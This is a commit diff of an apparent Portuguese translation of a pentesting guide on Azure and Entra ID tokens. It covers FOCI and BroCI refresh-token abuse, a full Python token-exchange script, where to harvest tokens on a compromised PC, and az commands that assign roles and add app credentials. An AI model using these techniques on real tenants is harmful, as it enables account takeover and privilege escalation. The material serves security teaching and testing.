Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-azur

This commit is contained in:
Translator
2026-03-01 20:12:16 +00:00
parent c7dc340941
commit 6386658c19
3 changed files with 666 additions and 155 deletions
@@ -1,4 +1,4 @@
# Az - Tokens & Public Applications
# Az - Tokens & Aplicações Públicas
{{#include ../../../banners/hacktricks-training.md}}
@@ -8,79 +8,79 @@ Entra ID é a plataforma de identity and access management (IAM) baseada em nuve
### OAuth
**Participantes chave no OAuth 2.0:**
**Principais Participantes no OAuth 2.0:**
1. **Servidor de Recursos (RS):** Protege recursos pertencentes ao proprietário do recurso.
2. **Proprietário do Recurso (RO):** Tipicamente um usuário final que possui os recursos protegidos.
3. **Aplicação Cliente (CA):** Uma aplicação que busca acesso a recursos em nome do proprietário do recurso.
4. **Servidor de Autorização (AS):** Emite access tokens para aplicações clientes após autenticar e autorizar elas.
1. **Resource Server (RS):** Protege recursos pertencentes ao resource owner.
2. **Resource Owner (RO):** Tipicamente um usuário final que possui os recursos protegidos.
3. **Client Application (CA):** Uma aplicação que busca acessar recursos em nome do resource owner.
4. **Authorization Server (AS):** Emite access tokens para aplicações clientes após autenticar e autorizar elas.
**Escopos e Consentimento:**
**Scopes e Consentimento:**
- **Escopos:** Permissões granulares definidas no servidor de recursos que especificam níveis de acesso.
- **Consentimento:** O processo pelo qual um proprietário do recurso concede a uma aplicação cliente permissão para acessar recursos com escopos específicos.
- **Scopes:** Permissões granulares definidas no resource server que especificam níveis de acesso.
- **Consentimento:** O processo pelo qual um resource owner concede a uma client application permissão para acessar recursos com scopes específicos.
**Integração com Microsoft 365:**
- Microsoft 365 utiliza Azure AD para IAM e é composto por múltiplas aplicações OAuth "first-party".
- Essas aplicações são profundamente integradas e frequentemente têm relações de serviço interdependentes.
- Para simplificar a experiência do usuário e manter a funcionalidade, a Microsoft concede "implied consent" ou "pre-consent" a essas aplicações first-party.
- **Implied Consent:** Certas aplicações são automaticamente **concedidas acesso a escopos específicos sem aprovação explícita do usuário ou do administrador**.
- Esses escopos pre-consentidos normalmente ficam ocultos tanto para usuários quanto para administradores, tornando-os menos visíveis nas interfaces de gerenciamento padrão.
- **Implied Consent:** Certas aplicações são automaticamente **concedidas acesso a scopes específicos sem aprovação explícita do usuário ou administrador**.
- Esses scopes pré-consentidos tipicamente ficam ocultos tanto de usuários quanto de administradores, tornando-os menos visíveis nas interfaces de gerenciamento padrão.
**Tipos de Aplicações Cliente:**
**Tipos de Client Application:**
1. **Clientes Confidenciais:**
- Possuem suas próprias credenciais (ex.: senhas ou certificados).
- Podem **autenticar-se com segurança** no servidor de autorização.
2. **Clientes Públicos:**
1. **Confidential Clients:**
- Possuem suas próprias credenciais (ex.: passwords ou certificados).
- Podem **autenticar-se com segurança** ao authorization server.
2. **Public Clients:**
- Não possuem credenciais únicas.
- Não conseguem autenticar-se de forma segura no servidor de autorização.
- **Implicação de Segurança:** Um atacante pode se passar por uma aplicação cliente pública ao solicitar tokens, já que não há mecanismo para o servidor de autorização verificar a legitimidade da aplicação.
- Não podem autenticar-se com segurança ao authorization server.
- **Implicação de Segurança:** Um atacante pode se passar por uma public client application ao requisitar tokens, pois não existe um mecanismo para o authorization server verificar a legitimidade da aplicação.
## Tokens de Autenticação
Existem **três tipos de tokens** usados no OIDC:
Existem **três tipos de tokens** usados em OIDC:
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** O cliente apresenta este token ao servidor de recursos para **acessar recursos**. Pode ser usado apenas para uma combinação específica de usuário, client e recurso e **não pode ser revogado** até expirar — isto é 1 hora por padrão.
- **ID Tokens**: O cliente recebe este token do servidor de autorização. Contém informações básicas sobre o usuário. Está **vinculado a uma combinação específica de usuário e cliente**.
- **Refresh Tokens**: Fornecido ao cliente junto com o access token. Usado para **obter novos access e ID tokens**. Está vinculado a uma combinação específica de usuário e cliente e pode ser revogado. A expiração padrão é **90 dias** para refresh tokens inativos e **sem expiração para tokens ativos** (a partir de um refresh token é possível obter novos refresh tokens).
- Um refresh token deveria estar vinculado a um **`aud`**, a alguns **scopes**, e a um **tenant**, e ele deveria somente conseguir gerar access tokens para aquele aud, scopes (e nada mais) e tenant. Contudo, isso não é o caso com os **FOCI applications tokens**.
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** O cliente apresenta esse token ao resource server para **acessar recursos**. Pode ser usado apenas para uma combinação específica de usuário, client e resource e **não pode ser revogado** até expirar — isto é 1 hora por padrão.
- **ID Tokens**: O cliente recebe esse **token do authorization server**. Contém informações básicas sobre o usuário. É **vinculado a uma combinação específica de usuário e client**.
- **Refresh Tokens**: Fornecidos ao cliente junto com o access token. Usados para **obter novos access e ID tokens**. São vinculados a uma combinação específica de usuário e client e podem ser revogados. A expiração padrão é **90 dias** para refresh tokens inativos e **sem expiração para tokens ativos** (a partir de um refresh token é possível obter novos refresh tokens).
- Um refresh token deve estar atrelado a um **`aud`**, a alguns **scopes**, e a um **tenant** e deve ser capaz de gerar access tokens para aquele aud, scopes (e nada mais) e tenant. Porém, isso não acontece com os tokens de aplicações **FOCI**.
- Um refresh token é criptografado e somente a Microsoft pode descriptografá-lo.
- Obter um novo refresh token não revoga o refresh token anterior.
> [!WARNING]
> Informação para **acesso condicional** é **armazenada** dentro do **JWT**. Então, se você solicitar o **token a partir de um endereço IP permitido**, esse **IP** será **armazenado** no token e então você pode usar esse token a partir de um **IP não permitido para acessar os recursos**.
> Informações para **acesso condicional** são **armazenadas** dentro do **JWT**. Então, se você requisitar o **token a partir de um endereço IP permitido**, esse **IP** será **armazenado** no token e então você pode usar esse token a partir de um **IP não permitido para acessar os recursos**.
### Access Tokens "aud"
O campo indicado em "aud" é o **servidor de recursos** (a aplicação) usado para realizar o login.
O campo indicado no campo "aud" é o **resource server** (a aplicação) usado para realizar o login.
O comando `az account get-access-token --resource-type [...]` suporta os seguintes tipos e cada um deles adicionará um "aud" específico no access token resultante:
> [!CAUTION]
> Observe que os itens abaixo são apenas as APIs suportadas por `az account get-access-token`, mas existem mais.
> Note que os seguintes são apenas as APIs suportadas por `az account get-access-token`, mas existem mais.
<details>
<summary>exemplos de aud</summary>
<summary>aud examples</summary>
- **aad-graph (Azure Active Directory Graph API)**: Usado para acessar a legada Azure AD Graph API (obsoleta), que permite que aplicações leiam e escrevam dados de diretório no Azure Active Directory (Azure AD).
- **aad-graph (Azure Active Directory Graph API)**: Usado para acessar a legacy Azure AD Graph API (deprecated), que permite às aplicações ler e escrever dados de diretório no Azure Active Directory (Azure AD).
- `https://graph.windows.net/`
* **arm (Azure Resource Manager)**: Usado para gerenciar recursos do Azure através da Azure Resource Manager API. Isso inclui operações como criar, atualizar e excluir recursos como máquinas virtuais, contas de armazenamento e mais.
* **arm (Azure Resource Manager)**: Usado para gerenciar recursos do Azure através da Azure Resource Manager API. Isso inclui operações como criar, atualizar e deletar recursos como virtual machines, storage accounts e mais.
- `https://management.core.windows.net/ or https://management.azure.com/`
- **batch (Azure Batch Services)**: Usado para acessar o Azure Batch, um serviço que permite executar aplicações de computação paralela e de alto desempenho em larga escala na nuvem.
- **batch (Azure Batch Services)**: Usado para acessar Azure Batch, um serviço que permite aplicações de computação paralela e de alto desempenho em grande escala na nuvem.
- `https://batch.core.windows.net/`
* **data-lake (Azure Data Lake Storage)**: Usado para interagir com o Azure Data Lake Storage Gen1, que é um serviço escalável de armazenamento de dados e análise.
* **data-lake (Azure Data Lake Storage)**: Usado para interagir com Azure Data Lake Storage Gen1, que é um serviço escalável de armazenamento de dados e analytics.
- `https://datalake.azure.net/`
- **media (Azure Media Services)**: Usado para acessar o Azure Media Services, que fornece processamento e entrega de mídia na nuvem para conteúdo de vídeo e áudio.
- **media (Azure Media Services)**: Usado para acessar Azure Media Services, que fornece processamento e entrega de mídia na nuvem para conteúdo de vídeo e áudio.
- `https://rest.media.azure.net`
* **ms-graph (Microsoft Graph API)**: Usado para acessar a Microsoft Graph API, o endpoint unificado para dados dos serviços Microsoft 365. Permite acessar dados e insights de serviços como Azure AD, Office 365, Enterprise Mobility e serviços de Segurança.
* **ms-graph (Microsoft Graph API)**: Usado para acessar a Microsoft Graph API, o endpoint unificado para dados dos serviços Microsoft 365. Permite acessar dados e insights de serviços como Azure AD, Office 365, Enterprise Mobility e Security services.
- `https://graph.microsoft.com`
- **oss-rdbms (Azure Open Source Relational Databases)**: Usado para acessar serviços de Database do Azure para engines relacionais open-source como MySQL, PostgreSQL e MariaDB.
@@ -90,11 +90,11 @@ O comando `az account get-access-token --resource-type [...]` suporta os seguint
### Access Tokens Scopes "scp"
O escopo de um access token é armazenado dentro da chave scp dentro do access token JWT. Esses escopos definem a que o access token tem acesso.
O escopo de um access token é armazenado dentro da chave scp dentro do JWT do access token. Esses scopes definem a que o access token tem acesso.
Se um JWT tem permissão para contatar uma API específica, mas **não possui o scope** para executar a ação solicitada, ele **não será capaz de executar a ação** com esse JWT.
Se um JWT está autorizado a contatar uma API específica mas **não tem o scope** para executar a ação requerida, ele **não conseguirá executar a ação** com aquele JWT.
### Get refresh & access token example
### Exemplo de obtenção de refresh & access token
```python
# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
@@ -146,30 +146,30 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api)
```
### Outros campos do access token
- **appid**: ID da aplicação usado para gerar o token
- **appidacr**: O Application Authentication Context Class Reference indica como o client foi autenticado para um public client o valor é 0, e se um client secret for usado o valor é 1
- **acr**: A claim Authentication Context Class Reference é "0" quando a autenticação do usuário final não atendeu aos requisitos da ISO/IEC 29115.
- **amr**: O método de autenticação indica como o token foi autenticado. Um valor "pwd" indica que uma password foi usada.
- **appid**: Application ID usada para gerar o token
- **appidacr**: The Application Authentication Context Class Reference indica como o client foi autenticado; para um public client o valor é 0, e se um client secret foi usado o valor é 1
- **acr**: The Authentication Context Class Reference claim é "0" quando a autenticação do usuário final não atendeu aos requisitos da ISO/IEC 29115.
- **amr**: Indica como o token foi autenticado. Um valor de “pwd indica que uma senha foi usada.
- **groups**: Indica os grupos dos quais o principal é membro.
- **iss**: O iss identifica o security token service (STS) que gerou o token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (o uuid é o tenant ID)
- **iss**: O issuer identifica o security token service (STS) que gerou o token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
- **oid**: O object ID do principal
- **tid**: Tenant ID
- **iat, nbf, exp**: Emitido em (quando foi emitido), Not before (não pode ser usado antes desse horário, normalmente mesmo valor que iat), Expiration time (tempo de expiração).
- **iat, nbf, exp**: Issued at (quando foi emitido), Not before (não pode ser usado antes deste momento, normalmente mesmo valor que iat), Expiration time (tempo de expiração).
## FOCI Tokens Privilege Escalation
## Escalonamento de privilégios com FOCI Tokens
Anteriormente foi mencionado que refresh tokens deveriam estar vinculados aos **scopes** com os quais foram gerados, à **application** e ao **tenant** a que foram destinados. Se qualquer uma dessas fronteiras for quebrada, é possível escalar privilégios, pois será possível gerar access tokens para outros recursos e tenants a que o usuário tem acesso e com mais scopes do que o originalmente pretendido.
Anteriormente foi mencionado que refresh tokens devem estar vinculados aos **scopes** com que foram gerados, à **application** e ao **tenant** para os quais foram gerados. Se alguma dessas fronteiras for quebrada, é possível escalar privilégios, pois será possível gerar access tokens para outros recursos e tenants aos quais o usuário tem acesso e com mais scopes do que o originalmente pretendido.
Além disso, **isso é possível com todos os refresh tokens** na [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) porque, como as [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mencionam: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
Além disso, **isso é possível com todos os refresh tokens** na [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) porque como os [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mencionam: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
Além disso, note que as aplicações FOCI são aplicações públicas, então **no secret is needed** para autenticar no servidor.
Além disso, note que as aplicações FOCI são public applications, então **nenhum secret é necessário** para autenticar ao servidor.
Os clientes FOCI conhecidos relatados na [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) podem ser [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
Os FOCI clients conhecidos reportados na [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) podem ser [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
### Obter escopo diferente
### Get different scope
Seguindo o código de exemplo anterior, neste código é requisitado um novo token para um escopo diferente:
Seguindo o código de exemplo anterior, neste código é solicitado um novo token para um scope diferente:
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
@@ -202,30 +202,361 @@ scopes=["https://graph.microsoft.com/.default"],
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)
```
## NAA / BroCI (Nested App Authentication / Broker Client Injection)
A BroCI refresh tokens é um padrão de troca de token brokered onde um refresh token existente é usado com parâmetros adicionais do broker para solicitar tokens como outro first-party app confiável.
These refresh tokens must be minted in that broker context (a regular refresh token usually cannot be used as a BroCI refresh token).
### Goal and purpose
O objetivo do BroCI é reutilizar uma sessão de usuário válida de uma cadeia de apps com suporte a broker e solicitar tokens para outro par app/recurso confiável. Portanto, permitindo "escalar privilégios" a partir do token original.
Do ponto de vista ofensivo, isso importa porque:
- Pode desbloquear caminhos de first-party app pré-consentidos que não são acessíveis com trocas de refresh padrão.
- Pode retornar access tokens para APIs de alto valor (por exemplo, Microsoft Graph) sob identidades de app com permissões delegadas amplas.
- Expande as oportunidades de pivot pós-autenticação com tokens além da troca clássica de clientes FOCI.
O que muda em um NAA/BroCI refresh token não é o formato visível do token, mas o **contexto de emissão** e os metadados relacionados ao broker que a Microsoft valida durante operações de refresh brokered.
NAA/BroCI token exchanges não são a mesma coisa que uma troca OAuth refresh regular.
- Um refresh token regular (por exemplo obtido via device code flow) geralmente é válido para operações padrão `grant_type=refresh_token`.
- Uma requisição BroCI inclui contexto adicional do broker (`brk_client_id`, broker `redirect_uri`, e `origin`).
- A Microsoft valida se o refresh token apresentado foi emitido em um contexto brokered correspondente.
- Portanto, muitos refresh tokens "normais" falham em requisições BroCI com erros como `AADSTS900054` ("Specified Broker Client ID does not match ID in provided grant").
- Geralmente você não pode "converter" um refresh token normal em um válido para BroCI via código.
- Você precisa de um refresh token já emitido por um fluxo brokered compatível.
Check the web <https://entrascopes.com/> to find BroCI configured apps an the trust relationships they have.
### Mental model
Pense no BroCI como:
`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource`
Se qualquer parte dessa cadeia de broker não coincidir, a troca falha.
### Where to find a BroCI-valid refresh token
Uma maneira prática é coletar o tráfego do portal no navegador:
1. Sign in to `https://entra.microsoft.com` (or Azure portal).
2. Open DevTools -> Network.
3. Filter for:
- `oauth2/v2.0/token`
- `management.core.windows.net`
4. Identify the brokered token response and copy `refresh_token`.
5. Use that refresh token with matching BroCI parameters (`brk_client_id`, `redirect_uri`, `origin`) when requesting tokens for target apps (for example ADIbizaUX / Microsoft_Azure_PIMCommon scenarios).
### Common errors
- `AADSTS900054`: The refresh token context does not match the supplied broker tuple (`brk_client_id` / `redirect_uri` / `origin`) or the token is not from a brokered portal flow.
- `AADSTS7000218`: The selected client flow expects a confidential credential (`client_secret`/assertion), often seen when trying device code with a non-public client.
<details>
<summary>Python BroCI refresh helper (broci_auth.py)</summary>
```python
#!/usr/bin/env python3
"""
Python implementation of EntraTokenAid Broci refresh flow.
Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for:
- brk_client_id
- redirect_uri
- Origin header
Usage:
python3 broci_auth.py --refresh-token "<REFRESH_TOKEN>"
How to obtain a Broci-valid refresh token (authorized testing only):
1) Open https://entra.microsoft.com and sign in.
2) Open browser DevTools -> Network.
3) Filter requests for:
- "oauth2/v2.0/token"
- "management.core.windows.net"
4) Locate the portal broker token response and copy the "refresh_token" value
(the flow should be tied to https://management.core.windows.net//).
5) Use that token with this script and Broci params:
python3 broci_auth.py \
--refresh-token "<PORTAL_BROKER_REFRESH_TOKEN>" \
--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \
--tenant "organizations" \
--api "graph.microsoft.com" \
--scope ".default offline_access" \
--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \
--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \
--origin "https://entra.microsoft.com" \
--token-out
"""
import argparse
import base64
import datetime as dt
import json
import re
import sys
import urllib.error
import urllib.parse
import urllib.request
from typing import Any
GUID_RE = re.compile(
r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
)
OIDC_SCOPES = {"offline_access", "openid", "profile", "email"}
def resolve_api_scope_url(api: str, scope: str) -> str:
"""
Match Resolve-ApiScopeUrl behavior from the PowerShell module.
"""
if GUID_RE.match(api):
base_resource = api
elif api.lower().startswith("urn:") or "://" in api:
base_resource = api
else:
base_resource = f"https://{api}"
base_resource = base_resource.rstrip("/")
resolved: list[str] = []
for token in scope.split():
if not token.strip():
continue
if "://" in token:
resolved.append(token)
elif token.lower().startswith("urn:"):
resolved.append(token)
elif token in OIDC_SCOPES:
resolved.append(token)
elif GUID_RE.match(token):
resolved.append(f"{token}/.default")
else:
normalized = ".default" if token in {"default", ".default"} else token
resolved.append(f"{base_resource}/{normalized}")
return " ".join(resolved)
def parse_jwt_payload(jwt_token: str) -> dict[str, Any]:
parts = jwt_token.split(".")
if len(parts) != 3:
raise ValueError("Invalid JWT format.")
payload = parts[1]
padding = "=" * ((4 - len(payload) % 4) % 4)
decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii"))
return json.loads(decoded.decode("utf-8"))
def refresh_broci_token(
refresh_token: str,
client_id: str,
scope: str,
api: str,
tenant: str,
user_agent: str,
origin: str | None,
brk_client_id: str | None,
redirect_uri: str | None,
disable_cae: bool,
) -> dict[str, Any]:
api_scope_url = resolve_api_scope_url(api=api, scope=scope)
headers = {
"User-Agent": user_agent,
"X-Client-Sku": "MSAL.Python",
"X-Client-Ver": "1.31.0",
"X-Client-Os": "win32",
"Content-Type": "application/x-www-form-urlencoded",
}
if origin:
headers["Origin"] = origin
body: dict[str, str] = {
"grant_type": "refresh_token",
"client_id": client_id,
"scope": api_scope_url,
"refresh_token": refresh_token,
}
if not disable_cae:
body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}'
if brk_client_id:
body["brk_client_id"] = brk_client_id
if redirect_uri:
body["redirect_uri"] = redirect_uri
data = urllib.parse.urlencode(body).encode("utf-8")
token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
req = urllib.request.Request(token_url, data=data, headers=headers, method="POST")
try:
with urllib.request.urlopen(req) as resp:
raw = resp.read().decode("utf-8")
except urllib.error.HTTPError as e:
err_raw = e.read().decode("utf-8", errors="replace")
try:
err_json = json.loads(err_raw)
short = err_json.get("error", "unknown_error")
desc = err_json.get("error_description", err_raw)
raise RuntimeError(f"{short}: {desc}") from None
except json.JSONDecodeError:
raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None
tokens = json.loads(raw)
if "access_token" not in tokens:
raise RuntimeError("Token endpoint response did not include access_token.")
return tokens
def main() -> int:
parser = argparse.ArgumentParser(
description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)."
)
parser.add_argument("--refresh-token", required=True, help="Refresh token (required).")
parser.add_argument(
"--client-id",
default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
help="Client ID (default: Azure CLI).",
)
parser.add_argument(
"--scope",
default=".default offline_access",
help="Scopes (default: '.default offline_access').",
)
parser.add_argument(
"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)."
)
parser.add_argument("--tenant", default="common", help="Tenant (default: common).")
parser.add_argument(
"--user-agent",
default="python-requests/2.32.3",
help="User-Agent sent to token endpoint.",
)
parser.add_argument("--origin", default=None, help="Optional Origin header.")
parser.add_argument(
"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)."
)
parser.add_argument(
"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)."
)
parser.add_argument(
"--disable-cae",
action="store_true",
help="Disable CAE claims in token request.",
)
parser.add_argument(
"--token-out",
action="store_true",
help="Print access/refresh tokens in output.",
)
parser.add_argument(
"--disable-jwt-parsing",
action="store_true",
help="Do not parse JWT claims.",
)
args = parser.parse_args()
print("[*] Sending request to token endpoint")
try:
tokens = refresh_broci_token(
refresh_token=args.refresh_token,
client_id=args.client_id,
scope=args.scope,
api=args.api,
tenant=args.tenant,
user_agent=args.user_agent,
origin=args.origin,
brk_client_id=args.brk_client_id,
redirect_uri=args.redirect_uri,
disable_cae=args.disable_cae,
)
except Exception as e:
print(f"[!] Error: {e}", file=sys.stderr)
return 1
expires_in = int(tokens.get("expires_in", 0))
expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds")
tokens["expiration_time"] = expiration_time
print(
"[+] Got an access token and a refresh token"
if tokens.get("refresh_token")
else "[+] Got an access token (no refresh token requested)"
)
if not args.disable_jwt_parsing:
try:
jwt_payload = parse_jwt_payload(tokens["access_token"])
audience = jwt_payload.get("aud", "")
print(f"[i] Audience: {audience} / Expires at: {expiration_time}")
tokens["scp"] = jwt_payload.get("scp")
tokens["tenant"] = jwt_payload.get("tid")
tokens["user"] = jwt_payload.get("upn")
tokens["client_app"] = jwt_payload.get("app_displayname")
tokens["client_app_id"] = args.client_id
tokens["auth_methods"] = jwt_payload.get("amr")
tokens["ip"] = jwt_payload.get("ipaddr")
tokens["audience"] = audience
if isinstance(audience, str):
tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience))
if "xms_cc" in jwt_payload:
tokens["xms_cc"] = jwt_payload.get("xms_cc")
except Exception as e:
print(f"[!] JWT parse error: {e}", file=sys.stderr)
return 1
else:
print(f"[i] Expires at: {expiration_time}")
if args.token_out:
print("\nAccess Token:")
print(tokens.get("access_token", ""))
if tokens.get("refresh_token"):
print("\nRefresh Token:")
print(tokens["refresh_token"])
print("\nToken object (JSON):")
print(json.dumps(tokens, indent=2))
return 0
if __name__ == "__main__":
raise SystemExit(main())
```
</details>
## Onde encontrar tokens
Do ponto de vista de um atacante, é muito interessante saber onde é possível encontrar access and refresh tokens quando, por exemplo, o PC de uma vítima é comprometido:
- Dentro de **`<HOME>/.Azure`**
- **`azureProfile.json`** contém informações sobre usuários logados no passado
- **`clouds.config contains`** informações sobre subscriptions
- **`azureProfile.json`** contém informações sobre usuários que fizeram login no passado
- **`clouds.config contains`** contém informações sobre assinaturas
- **`service_principal_entries.json`** contém credenciais de aplicações (tenant id, clients e secret). Apenas em Linux & macOS
- **`msal_token_cache.json`** contém access tokens e refresh tokens. Apenas em Linux & macOS
- **`service_principal_entries.bin`** e msal_token_cache.bin são usados no Windows e são criptografados com DPAPI
- **`service_principal_entries.bin`** e **`msal_token_cache.bin`** são usados no Windows e são encriptados com DPAPI
- **`msal_http_cache.bin`** é um cache de requisições HTTP
- Carregue-o: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
- **`AzureRmContext.json`** contém informações sobre logins anteriores usando Az PowerShell (mas sem credenciais)
- Dentro de **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** há vários arquivos `.bin` com **access tokens**, ID tokens e informações de conta criptografadas com o DPAPI do usuário.
- É possível encontrar mais **access tokens** nos arquivos `.tbres` dentro de **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`**, que contêm um base64 criptografado com DPAPI contendo access tokens.
- Em Linux e macOS você pode obter **access tokens, refresh tokens and id tokens** do Az PowerShell (se usado) executando `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`
- No Windows isso gera apenas id tokens.
- É possível verificar se o Az PowerShell foi usado em Linux e macOS checando se `$HOME/.local/share/.IdentityService/` existe (embora os arquivos contidos estejam vazios e sejam inúteis)
- Se o usuário estiver **logado no Azure com o browser**, de acordo com este [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) é possível iniciar o fluxo de autenticação com um **redirect to localhost**, fazer o browser autorizar automaticamente o login e receber o refresh token. Note que existem apenas algumas aplicações FOCI que permitem redirect para localhost (como az cli ou o powershell module), então essas aplicações precisam estar permitidas.
- Outra opção explicada no blog é usar a ferramenta [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) que pode usar qualquer aplicação porque ela **obtém o OAuth code para então obter um refresh token a partir do título da página final de auth** usando o redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`.
- **`AzureRmContext.json`** contém informação sobre logins anteriores usando Az PowerShell (mas sem credenciais)
- Dentro de **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** há vários ficheiros `.bin` com **access tokens**, ID tokens e informação de conta encriptada com o DPAPI do usuário.
- É possível encontrar mais **access tokens** nos ficheiros `.tbres` dentro de **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`**, que contêm um base64 encriptado com DPAPI com access tokens.
- No Linux e macOS você pode obter **access tokens, refresh tokens e id tokens** do Az PowerShell (se usado) executando `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`
- No Windows isto gera apenas id tokens.
- É possível verificar se Az PowerShell foi usado no Linux e macOS checando se `$HOME/.local/share/.IdentityService/` existe (embora os ficheiros contidos sejam vazios e inúteis)
- Se o usuário estiver **logado no Azure com o browser**, de acordo com este [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) é possível iniciar o fluxo de autenticação com um **redirect to localhost**, fazer o browser autorizar automaticamente o login e receber o refresh token. Note que existem apenas algumas aplicações FOCI que permitem redirect to localhost (como az cli ou o módulo do powershell), portanto essas aplicações devem ser permitidas.
- Outra opção explicada no blog é usar a ferramenta [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) que pode usar qualquer aplicação porque ela irá **get the OAuth code to then get a refresh token from the title of the final auth** page usando o redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`.
## Referências
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/)
- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/)
{{#include ../../../banners/hacktricks-training.md}}
@@ -3,15 +3,15 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> Note que **nem todas as permissões granulares** dos papéis integrados no Entra ID **são elegíveis para serem usadas em papéis personalizados.**
> Observe que **nem todas as permissões granulares** que as built-in roles possuem no Entra ID **são elegíveis para serem usadas em custom roles.**
## Papéis
## Funções
### Papel: Administrador de Papéis Privilegiados <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
Este papel contém as permissões granulares necessárias para poder atribuir papéis a principais e para dar mais permissões a papéis. Ambas as ações podem ser abusadas para escalar privilégios.
Esta role contém as permissões granulares necessárias para poder atribuir funções a principals e conceder mais permissões às funções. Ambas as ações podem ser abusadas para escalar privilégios.
- Atribuir papel a um usuário:
- Atribuir função a um usuário:
```bash
# List enabled built-in roles
az rest --method GET \
@@ -27,7 +27,7 @@ az rest --method POST \
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
- Adicionar mais permissões a um papel:
- Adicionar mais permissões a uma função:
```bash
# List only custom roles
az rest --method GET \
@@ -52,7 +52,7 @@ az rest --method PATCH \
### `microsoft.directory/applications/credentials/update`
Isso permite que um atacante **adicione credenciais** (senhas ou certificados) a aplicativos existentes. Se o aplicativo tiver permissões privilegiadas, o atacante pode se autenticar como esse aplicativo e obter essas permissões.
Isto permite que um atacante **adicionar credenciais** (senhas ou certificados) a aplicações existentes. Se a aplicação tiver permissões privilegiadas, o atacante pode autenticar-se como essa aplicação e obter esses privilégios.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
Isso permite as mesmas ações que `applications/credentials/update`, mas restrito a aplicativos de diretório único.
Isso permite as mesmas ações que `applications/credentials/update`, mas com escopo limitado a aplicações de um único diretório.
```bash
